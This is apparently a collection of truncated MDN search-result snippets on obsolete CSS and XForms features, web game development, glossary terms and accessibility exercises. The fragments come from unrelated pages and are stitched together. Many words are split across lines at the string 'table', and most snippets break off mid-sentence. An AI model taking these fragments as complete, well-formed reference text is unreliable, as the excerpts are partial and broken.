es the next color specified in this property, from the outside in. this eliminates the need for nested boxes. if the border is wider than the number of specified colors, the remaining part of the border is the innermost color specified. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted. to
tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the bottom border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla...
-moz-border-left-colors - Archive of obsolete content
es the next color specified in this property, from the outside in. this eliminates the need for nested boxes. if the border is wider than the number of specified colors, the remaining part of the border is the innermost color specified. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted. to
tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the left border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()...
-moz-border-right-colors - Archive of obsolete content
es the next color specified in this property, from the outside in. this eliminates the need for nested boxes. if the border is wider than the number of specified colors, the remaining part of the border is the innermost color specified. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted. to
tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the right border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla(...
-moz-border-top-colors - Archive of obsolete content
es the next color specified in this property, from the outside in. this eliminates the need for nested boxes. if the border is wider than the number of specified colors, the remaining part of the border is the innermost color specified. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete it does not apply if border-style is dashed or dotted. to
tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the top border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()>...
-ms-block-progression - Archive of obsolete content
tb default. top-to-bottom block flow. layout is horizontal. rl right-to-left block flow. layout is vertical. bt bottom-to-top block flow. layout is horizontal. lr left-to-right block flow. layout is vertical. formal syntax tb | rl | bt | lr specifications not part of any specification. remarks in vertical layout, text lines are rotated 90° clockwise. images are not rotated, but
tables are. box layout in vertical orientations is exactly analogous to layout in the horizontal orientation: width, height, top, bottom, right, and left do not rotate with the text. only one block progression is active at a time; these values cannot be combined. this property is based on the block-progression property of the css3 text layout module. ...
-ms-filter - Archive of obsolete content
-ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=0)'; background-image: linear-gradient(to bottom, #ffffff 0%, #000000 100%); } result specifications not part of any specification. ...
::-ms-fill - Archive of obsolete content
to an indeterminate one. (a progress bar is determinate if it has a value attribute set; otherwise it is indeterminate. an indeterminate progress bar can be selected with the :indeterminate pseudo-class.) by default, internet explorer and edge display a moving dots animation for an indeterminate progress bar. by setting animation-name on ::-ms-fill, you can change the animation, as shown in this
table: value description none turns off the animation so that no dots are displayed. -ms-bar shows animated dots that flow in a bar pattern. -ms-ring shows animated dots that flow in a ring pattern. allowable properties only the following css properties can be used in a rule with ::-ms-fill in its selector. other properties are ignored. animat...
New in JavaScript 1.8.1 - Archive of obsolete content
mance. new features in javascript 1.8.1 object.getprototypeof() support for native json string.prototype.trim() string.prototype.trimleft() string.prototype.trimright() changed functionality in javascript 1.8.1 implicit setting of properties in object and array initializers no longer execute setters in javascript. this makes the behavior of setting the values of properties more predic
table. ...
Object.observe() - Archive of obsolete content
logging all six different types var obj = { foo: 0, bar: 1 }; object.observe(obj, function(changes) { console.log(changes); }); obj.baz = 2; // [{name: 'baz', object: <obj>, type: 'add'}] obj.foo = 'hello'; // [{name: 'foo', object: <obj>, type: 'update', oldvalue: 0}] delete obj.baz; // [{name: 'baz', object: <obj>, type: 'delete', oldvalue: 2}] object.defineproperty(obj, 'foo', {wri
table: false}); // [{name: 'foo', object: <obj>, type: 'reconfigure'}] object.setprototypeof(obj, {}); // [{name: '__proto__', object: <obj>, type: 'setprototype', oldvalue: <prototype>}] object.seal(obj); // [ // {name: 'foo', object: <obj>, type: 'reconfigure'}, // {name: 'bar', object: <obj>, type: 'reconfigure'}, // {object: <obj>, type: 'preventextensions'} // ] data binding // a user m...
String.prototype.quote() - Archive of obsolete content
t any time. try to avoid using it. the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes ("). syntax str.quote() return value a new string representing the original string wrapped in double-quotes, with any special characters escaped. examples using quote in the
table below the quote() method replaces any special characters and wraps the strings in double-quotes. also note the third column where a wrapped eval() evaluates the escape sequences again. str str.quote() eval(str.quote()) hello world! "hello world!" hello world! hello world! "hello\n\tworld!" hello world! " \ — ' "\" \\ \u2014 '...
Reference - Archive of obsolete content
ner. do you think this makes sense? -- dria 04:27, 22 september 2005 (pdt) those examples are not "bad examples" per se. they are there specifically to show the differences between the two versions. i was wondering what should be done about those examples, since they would no longer be valid with fx 1.5+ and family. btw, https://bugzilla.mozilla.org/attachment.cgi?id=195375 is a screenshot of a
table of differences. --maian 05:10, 22 september 2005 (pdt) if the examples are there specifically to show the differences between two versions of js, and if we have a section in the reference that is dedicated to discussing these differences, i would think that those samples should be included in that section of the reference. or am i misunderstanding something? -- dria 05:30, 22 september 2005 (p...
Building Mozilla XForms - Archive of obsolete content
rting with firefox 3.5. during cvs times, the mozilla repository contained both extensions. since the switch to mercurial, the extensions live in separate repositories. before you can start building the xforms extension, you should check your mozilla build environment by doing a regular firefox build. have a look at the build instructions for detailed information for your platform. ...
XForms Custom Controls - Archive of obsolete content
om controls that work with the xforms model and are automatically updated just like xforms controls. the purpose of this article is to give you enough background information so that you'll be able to get a good start. to really grasp the following information, a good understanding of xforms, xbl, javascript and css is needed. xpcom knowledge will certainly not hurt. but even if you are only comfor
table with a couple of these technologies, we hope that the possibilities outlined below will inspire you to learn more where you need to. implementation status the framework we use in the mozilla xforms processor is very much a "work in progress". please keep in mind that just about everything we mention here may change to some degree as we continue to work on it. work has just started in the w3c xfor...
Troubleshooting XForms Forms - Archive of obsolete content
that set the context node. instance(...) not working be aware that the instance(...) returns an element node, and not the document node. so with an instance like this: <xf:instance id="ins2" xmlns=""> <data> <value>42</value> </data> </xf:instance> you should use <output ref="instance('ins2')/value"/> to show the contents of the value element. (specification). repeat and
tables not working unfortunately you cannot do: <
table> <xf:repeat nodeset="..."> <tr> ... </tr> </xf:repeat> </
table> the xhtml modularization does not allow this. you either have to use css
tables or repeat attributes, which at the moment are not working properly in the firefox xforms extension :( should be fixed by bug 306247 and bug 280368 respectively. submission not working...
Mozilla XForms Specials - Archive of obsolete content
introduction this article gives an overview of where the mozilla xforms extension deviates from the official xforms 1.0 specification . this covers both limitations in the extension, and custom extensions. limitations repeat using attributes the specifications mentions "creating repeating structures via attributes", this is partially supported. (limitation tracked in bug 280368) mixing repeat and
table or ul it is not possible to mix repeats with either
table or ul. that means that it is not possible to do: <
table> <xf:repeat ...> <tr> ... </tr> </xf:repeat> </
table> or <ul> <xf:repeat ...> <li> ... </li> </xf:repeat> </ul> section 9.3.2 states that mixing with
table will probably never work. mixing with ul might suffer from the same limitation. pseudo-class support we cur...
XForms Alert Element - Archive of obsolete content
the message of the alert element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. ...
XForms - Archive of obsolete content
ials an online book giving you a guided tour of xforms. xforms were envisioned as the future of online forms as envisioned by the w3c. drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model. however, xforms never gained traction and is now considered obsolete. other strengths that xforms brings to the
table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices. xforms is a w3c specification. xforms tutorial and cookbook xforms in wikibook format - over 50 examples tested with firefox. xforms support can be added to firef...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
er "-//netscape comm. corp.//dtd html//en". the public identifier "-//netscape comm. corp.//dtd html//en". the public identifier "-//netscape comm. corp.//dtd strict html//en". the public identifier "-//microsoft//dtd internet explorer 2.0 html//en". the public identifier "-//microsoft//dtd internet explorer 2.0 html strict//en". the public identifier "-//microsoft//dtd internet explorer 2.0
tables//en". the public identifier "-//microsoft//dtd internet explorer 3.0 html//en". the public identifier "-//microsoft//dtd internet explorer 3.0 html strict//en". the public identifier "-//microsoft//dtd internet explorer 3.0
tables//en". the public identifier "-//sun microsystems corp.//dtd hotjava html//en". the public identifier "-//sun microsystems corp.//dtd hotjava strict html//en". th...
RDF in Mozilla FAQ - Archive of obsolete content
source, and the "shortcut keyword" that you can type to reach that website comes from the "browser bookmarks" datasource. both datasources refer to "website" by url: this is the "key" that allows the datasources to be "merged" effectively. for a more detailed account of how to write a datasource, refer to the rdf datasource how-to. how does mozilla manage datasources? the rdf service manages a
table of all loaded datasources. the
table is keyed by the datasource's "uri", which is either the url of an rdf/xml file, or a "special" uri starting with rdf: that refers to a built-in datasource. datasources may be loaded via the rdf service using the getdatasource() method. if the uri argument refers to an rdf/xml file's url, then the rdf service will create an rdf/xml datasource and asynchronousl...
Windows Media in Netscape - Archive of obsolete content
xobject and geckoactivexobject to determine if the windows media activex control is supported and available for use. javascript will dynamically write out what browser you are running, and what kind of windows media player technology you may have. example 1: client-side detection scripts browser architecture supports: netscapeplugin windows media player installed: true windows media scrip
table: false windows media version: pluginversion a complete source code listing showing how that detection was done can be found here (devedge-temp). below, some of the salient points are illustrated in a code snippet: if (window.activexobject && navigator.useragent.indexof('windows') != -1) { // ie for windows object instantiation -- use of activexobject } else if(window.geckoactivexobject) { ...
Anatomy of a video game - Game development
alled. also, it will probably make your job easier. some code needs to be run frame-by-frame so why attach that function to anything other than the browser's redraw schedule? on the web, window.requestanimationframe() will be the foundation of most well-programmed per-frame main loops. a callback function must be passed in to it when it is called. that callback function will be executed at a sui
table time before the next repaint. here is an example of a simple main loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); // start the cycle note: in each of the main() methods discussed here, we schedule a new requestanimationframe before performing our loop contents. that is not by accident and it is considered best prac...
Index - Game development
s page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with. a testament to what can be done with javascript, webgl, and related technologies. 4 index meta found 74 pages: 5 introduction to html5 game development (summary) firefox os, games, html5, mobile games built with html5 work on smartphones,
tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime. 6 introduction to game development for the web firefox os, games, guide, mobile no summary! 7 publishing games games, html5, javascript, monetization, promotion, distribution, publishing this series of articles looks at the options you have when you want t...
Game monetization - Game development
he rights— that's why exclusive deals are worth quite a lot of money. how much exactly? it depends on the quality of the game, it's genre, its publisher, and many others, but usually it will be something between 2000 and 5000 usd. once you've sold an exclusive license you can forget about promoting that particular game as you won't earn more, so go into such a deal only if you're sure it's profi
table enough. non-exclusive licenses this approach is less strict — you can sell a license to multiple publishers. this is the most popular approach as with every new publisher (and they are constantly showing up) you can sell your games on non-exclusive terms. remember that with this license the publisher can't redistribute it further — it's often called a site-locked deal as they buy the right ...
Game promotion - Game development
but if you're not planning to sell licenses to allow people to purchase your game and are intending to implement adverts or in-app purchases instead, promoting your game across free portals can be effective. you can send your games for publication on portals like crazygames.com, gamedistribution.com, lagged.com, pacogames.com ,games4html5.com or html5games.com, and there are about 20-30 other no
table game portals with and without api. those portals that have their own api will allow you to authorize users, save their progress and process in-app purchases. you can also sell a full version of the game from inside your browser demo version, which will be a great move considering high competition, some developers even manage to make full browser versions. most portals offer revenue share deals ...
Building up a basic demo with Babylon.js - Game development
tebox("box", 2, scene); a mesh is a way the engine creates geometric shapes, so material can be easily applied to them later on. in this case we're creating a box using the mesh.createbox method with it's own name, a size of 2, and a declaration of which scene we want it added to. note: the size or position values (e.g. for the box size) are unitless, and can basically be anything you deem sui
table for your scene — milimeters, meters, feet, or miles — it's up to you. if you save and refresh now, your object will look like a square, because it's facing the camera. the good thing about objects is that we can move them on the scene however we want, for example rotating and scaling. let's apply a little bit of rotation to the box, so we can see more than one face — again, add these line...
Building up a basic demo with the PlayCanvas engine - Game development
or — the color will be visible as the background. next, the camera object is added to the root of our application and positioned to be 7 units away from the center of the scene on the z axis. this allows us to make some space to visualize the objects that we will create later on. note: the distance values (e.g. for the camera z position) are unitless, and can basically be anything you deem sui
table for your scene — milimeters, meters, feet, or miles — it's up to you. try saving the file and loading it in your browser. you should now see a gray window. congratulations! geometry now the scene is properly rendering we can start adding 3d shapes to it. to speed up development playcanvas provides a bunch of predefined primitives that you can use to create shapes instantly in a single lin...
Building up a basic demo with Three.js - Game development
eels about right. it's not too near, or too far, and the sizes of the objects allow them to stay on the scene, within the given field of view. the x and y values, if not specified, will default to 0. you should experiment with these values and see how they change what you see in the scene. note: the distance values (e.g. for the camera z position) are unitless, and can be anything you deem sui
table for your scene: milimeters, meters, feet, or miles. it's up to you. rendering the scene everything is ready, but we still can't see anything. although we've set-up the renderer, we still need to render everything. our render() function will do this job, with a little help from requestanimationframe(), which causes the scene to be re-rendered constantly on every frame: function render() { req...
WebVR — Virtual Reality for the Web - Game development
o achieve, but it doesn't require realistic images. quite the contrary as having a basic shapes flying around in high framerate can make a lot. remember: experimenting is key - see what works for your game in particular. the future of webvr it's happening — consumer devices are reaching the market right now, and we already have javascript apis to support them on the web. all we need now is a s
table specification, good ux and ui, better hardware and more tools and libraries — and all of that is on the horizon. it's the perfect time to dive in and experiment with webvr. ...
Desktop gamepad controls - Game development
o hook up your game's logic and successfully control the user interface and gameplay. api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good — around 63% global coverage, according to caniuse.com. the list of supported devices is also quite extensive — most popular gamepads (e.g. xbox 360 or ps3) should be sui
table for web implementations. pure javascript approach let's think about implementing pure javascript gamepad controls in our little controls demo first to see how it would work. first, we need an event listener to listen for the connection of the new device: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for s...
Implementing game control mechanisms - Game development
uly multiplatform; all of the following articles focus on the apis provided for interfacing with different control mechanisms: mobile touch controls — the first article will kick off with touch, as the mobile first approach is very popular. desktop mouse and keyboard controls — when playing on a desktop/laptop computer, providing keyboard and mouse controls is essential to provide an accep
table level of accessibility for the game. desktop gamepad controls — the gamepad api rather usefully allows gamepads to be used for controlling web apps on desktop/laptop, for that console feel. unconventional controls — the final article showcases some unconventional control mechanisms, from the experimental to the slightly crazy, which you might not believe could be used to play the game. ...
asm.js - Game development
ns. emscripten, a c/c++ to javascript compiler, emits asm.js code to make it run with near native performance on several browsers. additionally, if an engine chooses to specially recognize asm.js code, there even more optimizations that can be made. firefox is the only browser to do this right now. asm.js language summary asm.js is an intermediate programming language. asm.js has a very predic
table perfomance rate because it is limited to an extremely restricted subset of javascript that provides only strictly-typed integers, floats, arithmetic, function calls, and heap accesses. the performance characteristics are closer to native code than that of standard javascript. using a subset of javascript asm.js is already supported by major web browsers. since asm.js runs in a browser it depe...
2D breakout game using pure JavaScript - Game development
you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, and winning and losing states. to get the most out of this series of articles you should already have basic to intermediate javascript knowledge. ...
Randomizing gameplay - Game development
or right) is determined by that value — if the ball hits the left side of the paddle it will bounce left, whereas hitting the right side will bounce it to the right. it ended up that way because of a little bit of experimentation with the given values, you can do your own experimentation and see what happens. it's not completely random of course, but it does make the gameplay a bit more unpredic
table and therefore more interesting. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: summary you've finished all the lessons — congratulations! by this point you would have learnt the basics of phaser and the logic behind simple 2d games. exercises to follow you can do a lot more in the game — add...
2D breakout game using Phaser - Game development
you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states. ...
Visual typescript game engine - Game development
ithub.com/liabru/matter-js matter.ts used because typescript orientation. https://www.npmjs.com/package/@types/matter-js crypto icons downloaded from https://www.behance.net/junikstudio todo list for 2019 i'm still far away from the project objective : make visual nodes for editor mode in gameplay. item's selling for crypto values. create examples demos in minimum 20 gameplay variants (
table games, actions, platformers, basic demo throw the api doc etc.). implementing ar and webgl2. live demo platformer ...
Accessibility tree (AOM) - MDN Web Docs Glossary: Definitions of Web-related terms
screen readers. there are four things in an accessibility tree object: name how can we refer to this thing? for instance, a link with the text ‘read more’ will have ‘read more’ as its name (more on how names are computed in the accessible name and description computation spec). description how do we describe this element, if we want to add anything to the name? the description of a
table could explain what kind of info that
table offers. role what kind of thing is it? for example, is it a button, a nav bar, or a list of items? state does it have a state? think checked/unchecked for checkboxes, or collapsed/expanded for the <summary> element. additionally, the accessibility tree often contains information on what can be done with an element: a link can be followed, a text in...
Alignment subject - MDN Web Docs Glossary: Definitions of Web-related terms
ubject is the thing (or things) being aligned by the property. for justify-self and align-self, the alignment subject is the margin box of the box the property is set on, using the writing mode of that box. for justify-content and align-content, the writing mode of the box is also used. the definition of the alignment subject depends on the layout mode being used. block containers (including
table cells) the entire content of the block as a single unit. multicol containers the column boxes, with any spacing inserted between column boxes added to the relevant column gaps. flex containers for justify-content, the flex items in each flex line. for align-content, the flex lines. note, this only has an effect on multi-line flex containers. grid containers the grid tracks in the appropri...
Boolean - MDN Web Docs Glossary: Definitions of Web-related terms
in computer science, a boolean is a logical data type that can have only the values true or false. for example, in javascript, boolean conditionals are often used to decide which sections of code to execute (such as in if statements) or repeat (such as in for loops). below is some javascript pseudocode (it's not truly execu
table code) demonstrating this concept. /* javascript if statement */ if (boolean conditional) { // code to execute if the conditional is true } if (boolean conditional) { console.log("boolean conditional resolved to true"); } else { console.log("boolean conditional resolved to false"); } /* javascript for loop */ for (control variable; boolean conditional; counter) { // code to execute repeatedly if the conditional is true } for (var i=0; i < 4; i++) {...
Digest - MDN Web Docs Glossary: Definitions of Web-related terms
a digest is a small value generated by a hash function from a whole message. ideally, a digest is quick to calculate, irreversible, and unpredic
table, and therefore indicates whether someone has tampered with a given message. a digest can be used to perform several tasks: in non-cryptographic applications (e.g., the index of hash
tables, or a fingerprint used to detect duplicate data or to uniquely identify files) verify message integrity (a tampered message will have a different hash) store passwords so that they can't be retrieved, but can still be checked (to do this securely, you also need to salt the password.) generate pseudo-random numbers generate keys it is critical to choose the proper hash function for your use case to avoid collisions and predictability. learn mor...
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
effective connection type (ect) refers to the measured network performance, returning a cellular connection type, like 3g, even if the actual connection is tethered broadband or wifi, based on the time between the browser requesting a page and effective type of the connection. the values of 'slow-2g', '2g', '3g', and '4g' are determined using observed round-trip times and downlink values.
table of effective connection types ect minimum rtt maximum downlink explanation slow-2g 2000ms 50 kbps the network is suited for small transfers only such as text-only pages. 2g 1400ms 70 kbps the network is suited for transfers of small images. 3g 270ms 700 kbps the network is suited for transfers of large assets such as high ...
Entity - MDN Web Docs Glossary: Definitions of Web-related terms
an use a reference chart or decoder tool. reserved characters some special characters are reserved for use in html, meaning that your browser will parse them as html code. for example, if you use the less-than (<) sign, the browser interprets any text that follows as a tag. to display these characters as text, replace them with their corresponding character entities, as shown in the following
table. character entity note & & interpreted as the beginning of an entity or character reference. < < interpreted as the beginning of a tag > > interpreted as the ending of a tag " " interpreted as the beginning and end of an attribute's value. learn more technical reference official list of chara...
Google Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
ribed on the chromium wiki. chrome supports its own layout called blink. note that the ios version of chrome uses that platform's webview, not blink. learn more general knowledge google chrome on wikipedia for chrome users use one of these links if you're an everyday user. android ios desktop for web developers if you want to try the latest chrome features, install one of the pre-s
table builds. google pushes updates frequently and has designed the distributions to run side-by-side with the s
table version. visit the chrome releases blog to learn what's new. chrome dev for android chrome canary for desktop. ...
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
graceful degradation is a design philosophy that centers around trying to build a modern web site/application that will work in the newest browsers, but falls back to an experience that while not as good still delivers essential content and functionality in older browsers. polyfills can be used to build in missing features with javascript, but accep
table alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fallback behaviour. some good examples can be found in handling common html and css problems. it is a useful technique that allows web developers to focus on developing the best possible websites, given that those websites are accessed by multiple unknown user-agents. progressive enhancement is related but ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
if you do not place items using one of the grid placement methods, direct children of the grid container will be placed one into each individual grid cell by the auto-placement algorithm. additional row or column tracks will be created to create enough cells to hold all items. in the example we have created a three column track grid. ...
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
oftware. unlike low-level programming languages, it may use natural language elements, or may automate (or even entirely hide) significant areas of computing systems, making the process of developing simpler and more understandable relative to a lower-level language. the amount of abstraction provided defines how "high-level" a programming language is. the idea of a language automatically transla
table into machine code, but nearer to human logic, was introduced in computer science in the 1950s, especially thanks to the work of john backus (ibm), to whom it owes the first high-level language to have been widely circulated: fortran. for this innovation backus received the turing prize. ...
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
indexeddb is a web api for storing large data structures within browsers and indexing them for high-performance searching. like an sql-based rdbms, indexeddb is a transactional database system. however, it uses javascript objects rather than fixed columns
tables to store data. learn more the indexeddb api on mdn the w3c specification for indexeddb ...
Java - MDN Web Docs Glossary: Definitions of Web-related terms
java is statically typed and features a similar syntax to c. it comes with a large library of readily usable functions, the java software development kit (sdk). programs are compiled only once ahead of time into a proprietary byte code and package format that runs inside the java virtual machine (jvm). the jvm is available across many platforms, which allows java programs to run almost everywhere without the need to be compiled or packaged again. this makes it a preferred language in many large enterprises with heterogenous landscapes, but may be perceived "heavy". ...
Opera Browser - MDN Web Docs Glossary: Definitions of Web-related terms
opera is the fifth most used web browser, publicly released in 1996 and initially running on windows only. opera uses blink as its layout engine since 2013 (before that, presto). opera also exists in mobile and
tablet versions. learn more general knowledge opera browser on wikipedia opera browser web site ...
Progressive Enhancement - MDN Web Docs Glossary: Definitions of Web-related terms
functionality to as many users as possible, while delivering the best possible experience only to users of the most modern browsers that can run all the required code. feature detection is generally used to determine whether browsers can handle more modern functionality, while polyfills are often used to add missing features with javascript. special notice should be taken of accessibility. accep
table alternatives should be provided where possible. progressive enhancement is a useful technique that allows web developers to focus on developing the best possible websites while making those websites work on multiple unknown user agents. graceful degradation is related but is not the same thing and is often seen as going in the opposite direction to progressive enhancement. in reality both approa...
Python - MDN Web Docs Glossary: Definitions of Web-related terms
ed, and some functional programming constructs. it was created by guido van rossum as a successor to another language (called abc) between 1985 and 1990, and is currently used on a large array of domains like web development, desktop applications, data science, devops, and automation/productivity. python is developed under an osi-approved open source license, making it freely usable and distribu
table, even for commercial use. python's license is administered by the python software foundation. ...
Random Number Generator - MDN Web Docs Glossary: Definitions of Web-related terms
a prng (pseudorandom number generator) is an algorithm that outputs numbers in a complex, seemingly unpredic
table pattern. truly random numbers (say, from a radioactive source) are utterly unpredic
table, whereas all algorithms are predic
table, and a prng returns the same numbers when passed the same starting parameters or seed. prngs can be used for a variety of applications, such as games. a cryptographically secure prng is a prng with certain extra properties making it sui
table for use in cryptography. these include: that it's computationally unfeasible for an attacker (without knowledge of the seed) to predict its output that if an attacker can work out its current state, this should not enable the attacker to work out previously emitted numbers. most prngs are not cryptograp...
SQL - MDN Web Docs Glossary: Definitions of Web-related terms
sql (structured query language) is a descriptive computer language designed for updating, retrieving, and calculating data in
table-based databases. learn more general knowledge sql on wikipedia learn sql learn sql on sqlzoo.net tutorial point ...
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
interactive element: shift + tab next radio button in a same named-group: right or down arrow previous radio button in a same named-group: left or up arrow navigating through the content of a page is done with the tab key and a series of other keys along with control + option keys next heading: control + option + h next list: control + option + x next graphic: control + option + g next
table: control + option + t down an html hierarchical order control + option + right arrow previous heading: shift + control + option + h previous list: shift + control + option + x previous graphic: shift + control + option + g previous
table: shift + control + option + t up an html hierarchical order: control + option + left arrow learn more aria ...
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
ymbol("sym"); alert(_sym.description); // sym well-known symbols the symbol class has constants for so-called well-known symbols. these symbols let you configure how js treats an object, by using them as property keys. examples of well-known symbols are: symbol.iterator for array-like objects, or symbol.search for string objects. they are listed in the specification in the well-known symbols
table: symbol.hasinstance symbol.isconcatspreadable symbol.iterator symbol.toprimitive …and so on. global symbol registry there is a global symbol registry holding all available symbols. the methods that access the registry are symbol.for() and symbol.keyfor(); these mediate between the global symbol
table (or "registry") and the run-time environment. the global symbol registry is mostly bu...
UDP (User Datagram Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
ng dialogues, and thus exposes the user's program to any unreliability of the underlying network; there is no guarantee of delivery, ordering, or duplicate protection. if error-correction facilities are needed at the network interface level, an application may use the transmission control protocol (tcp) or stream control transmission protocol (sctp) which are designed for this purpose. udp is sui
table for purposes where error checking and correction are either not necessary or are performed in the application; udp avoids the overhead of such processing in the protocol stack. time-sensitive applications often use udp because dropping packets is preferable to waiting for packets delayed due to retransmission, which may not be an option in a real-time system. general knowledge user datagram p...
Variable - MDN Web Docs Glossary: Definitions of Web-related terms
a variable is a named reference to a value. that way an unpredic
table value can be accessed through a predetermined name. learn more general knowledge variable (computer science) on wikipedia technical reference declaring variables in javascript var statement in javascript ...
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
ntal nature. this has made it more difficult for browser vendors to ensure compatibility and to work on new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular web sites. lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a s
table state much more quickly. css prefixes the major browsers use the following prefixes: -webkit- (chrome, safari, newer versions of opera, almost all ios browsers including firefox for ios; basically, any webkit based browser) -moz- (firefox) -o- (old pre-webkit versions of opera) -ms- (internet explorer and microsoft edge) sample usage: -webkit-transition: all 4s ease; -moz-transition: ...
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
w3c. they outline a set of guidelines for making content accessible primarily for people with disabilities but also for limited-resource devices such as mobile phones. wcag 2.0 which superseded wcag 1.0 was published as a w3c recommendation on 11 december 2008. it consists of 12 guidelines organized under 4 principles (perceivable, operable, understandable, and robust) and each guideline has tes
table success criteria. wcag uses three levels of conformance: priority 1: web developers must satisfy these requirements, otherwise it will be impossible for one or more groups to access the web content. conformance to this level is described as a. priority 2: web developers should satisfy these requirements, otherwise some groups will find it difficult to access the web content. conformance to t...
WebKit - MDN Web Docs Glossary: Definitions of Web-related terms
webkit began life as a fork of kde's khtml and kjs libraries, but many individuals and companies have since contributed (including kde, apple, google, and nokia). webkit is an apple trademark, and the framework is distributed under a bsd-form license. ...
Character set - MDN Web Docs Glossary: Definitions of Web-related terms
encoding system to let computers know how to recognize character, including letters, numbers, punctuation marks, and whitespace. in earlier times, countries developed their own character sets due to their different languages used, such as kanji jis codes (e.g. shift-jis, euc-jp, etc.) for japanese, big5 for traditional chinese, and koi8-r for russian. however, unicode gradually became most accep
table character set for its universal language support. if a character set is used incorrectly (for example, unicode for an acticle encoded in big5), you may see nothing but broken characters, which are called mojibake. ...
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
d!\r");</script> is bad. <script>document.write("hello world!\n");</script> is ok. note that writing balanced tags may cause other tags to be inferred in a way that makes the write unbalanced. e.g. <script>document.write("<div></div>");</script> inside the head element will be interpreted as <script>document.write("</head><body><div></div>");</script> which is unbalanced. don't format part of a
table. <
table><script>document.write("<tr><td>hello world!</td></tr>");</script></
table> is bad. ...
Assessment: Accessibility troubleshooting - Learn web development
text labels, but they are not unambiguously associated with their labels — how do you achieve this? note that you'll need to update some of the css rule as well. the show/hide comment control the show/hide comment control button is not current keyboard-accessible. can you make it keyboard accessible, both in terms of focusing it using the tab key, and activating it using the return key? the
table the data
table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the
table also has no kind of summary to make it clear what it shows. can you add some features to your html to fix this problem? other considerations? can you list two more ideas for improvements that would make the website more accessible? assessment or furt...
Test your skills: CSS and JavaScript accessibility - Learn web development
xample: download the starting point for this task to work in your own editor or in an online editor. css accessibility 2 in this next task you are presented with a simple bit of content — just headings and paragraphs. there are accessibility issues with the colors and sizing of the text; we'd like you to: 1. explain what the problems are, and what the guidelines are that state the accep
table values for color and sizing. 2. select new values for the color and font-size that fix the problem. 3. update the css with these new values to fix the problem. 4. test the code to make sure the problem is now fixed. explain what tools or methods you used to select the new values and test the code. try updating the live code below to recreate the finished example: download the starting poi...
Mobile accessibility - Learn web development
he use of html5 form input types such as the date on mobile platforms as they handle them well — both android and ios, for example, display usable widgets that fit well with the device experience. see html5-form-examples.html for some examples (see the html5 form examples live) — try loading these and manipulating them on mobile devices. for example: types number, tel, and email display sui
table virtual keyboards for entering numbers/telephone numbers. types time and date display sui
table pickers for selecting times and dates. if you want to provide a different solution for desktops, you could always serve different markup to your mobile devices using feature detection. see input types for raw information on detecting different input types, and also check out our feature detection art...
Test your skills: WAI-ARIA - Learn web development
r this task to work in your own editor or in an online editor. wai-aria 2 in our second wai-aria task, we present a simple search form, and we want you to add in a couple of wai-aria features to improve its accessibility: how can you allow the search form to be called out as a separate landmark on the page by screenreaders, to make it easily findable? how can you give the search input a sui
table label, without explicitly adding a visible text label to the dom? try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. wai-aria 3 for this final wai-aria task, we return to an example we previously saw in the css and javascript skilltest. as before, we have a simple app that present...
Accessibility - Learn web development
